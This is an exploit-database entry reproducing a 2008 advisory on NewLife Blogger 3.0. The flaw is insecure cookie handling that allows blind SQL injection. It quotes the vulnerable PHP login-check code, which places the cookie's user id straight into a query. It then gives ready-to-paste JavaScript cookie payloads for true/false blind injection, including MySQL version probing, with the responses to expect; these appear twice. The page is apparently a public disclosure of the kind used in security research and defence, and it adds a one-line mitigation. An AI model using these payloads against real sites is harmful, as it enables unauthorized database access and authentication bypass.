header-logo
Suggest Exploit
vendor:
NewLife Blogger
by:
Pepelux
7.5
CVSS
HIGH
Insecure Cookie Handling & SQL Injection
89
CWE
Product Name: NewLife Blogger
Affected Version From: 3
Affected Version To: 3
Patch Exists: NO
Related CWE: N/A
CPE: a:newlife_blogger:newlife_blogger:3.0
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2008

NewLife Blogger <= v3.0 / Insecure Cookie Handling & SQL Injection Vulnerability

True/false method to blind mysql injection. Examples: javascript:document.cookie = "nlb3=7 and 1=1::96e79218965eb72c92a549dd5a330112" Response: You appears as logged in javascript:document.cookie = "nlb3=7 and 1=0::96e79218965eb72c92a549dd5a330112" Response: You appears as not logged in javascript:document.cookie = "nlb3=7 and (select substring(version(),1,1))=4::96e79218965eb72c92a549dd5a330112 Response: You appears as logged in if MySQL version is 4 javascript:document.cookie = "nlb3=7 and (select substring(version(),1,1))=5::96e79218965eb72c92a549dd5a330112 Response: You appears as logged in if MySQL version is 5

Mitigation:

Ensure that user input is properly sanitized and validated before being used in SQL queries.
Source

Exploit-DB raw data:

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
NewLife Blogger <= v3.0 / Insecure Cookie Handling & SQL Injection Vulnerability 
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

$ Program: NewLife Blogger
$ Version: <= 3.0
$ File affected: system/nlb_user.class.php
$ Download: http://sourceforge.net/projects/nlb/


Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org


Cookie format is:
nlb3=7::96e79218965eb72c92a549dd5a330112
nlb3=iduser::md5 pass

--Bug --

143.	function checkLogin( ) {
144.		// loing check
145.		if( isset( $_COOKIE['nlb3'] ) ) {
146.			$data = explode( '::', $_COOKIE['nlb3'] );
147.			$id = $data[0];
148.			$pass = $data[1];
149.			$fromdb = $this->sql->getArray('SELECT password FROM ' . db_users . ' WHERE user_id = ' . $id . ' LIMIT 1;');
150.			if( $pass === $fromdb['password'] ) {
151.				$this->setid( $id );
152.				$this->isLogedIn = true;
153.			} else {
154.				$this->isLogedIn = false;
155.			}
156.		}
157.		// we also check for banned users
158.		$this->checkBanned();
159.	}


-- Exploit --

True/false method to blind mysql injection. Examples:

javascript:document.cookie = "nlb3=7 and 1=1::96e79218965eb72c92a549dd5a330112"
Response: You appears as logged in

javascript:document.cookie = "nlb3=7 and 1=0::96e79218965eb72c92a549dd5a330112"
Response: You appears as not logged in

javascript:document.cookie = "nlb3=7 and (select substring(version(),1,1))=4::96e79218965eb72c92a549dd5a330112
Response: You appears as logged in if MySQL version is 4

javascript:document.cookie = "nlb3=7 and (select substring(version(),1,1))=5::96e79218965eb72c92a549dd5a330112
Response: You appears as logged in if MySQL version is 5

# milw0rm.com [2008-10-12]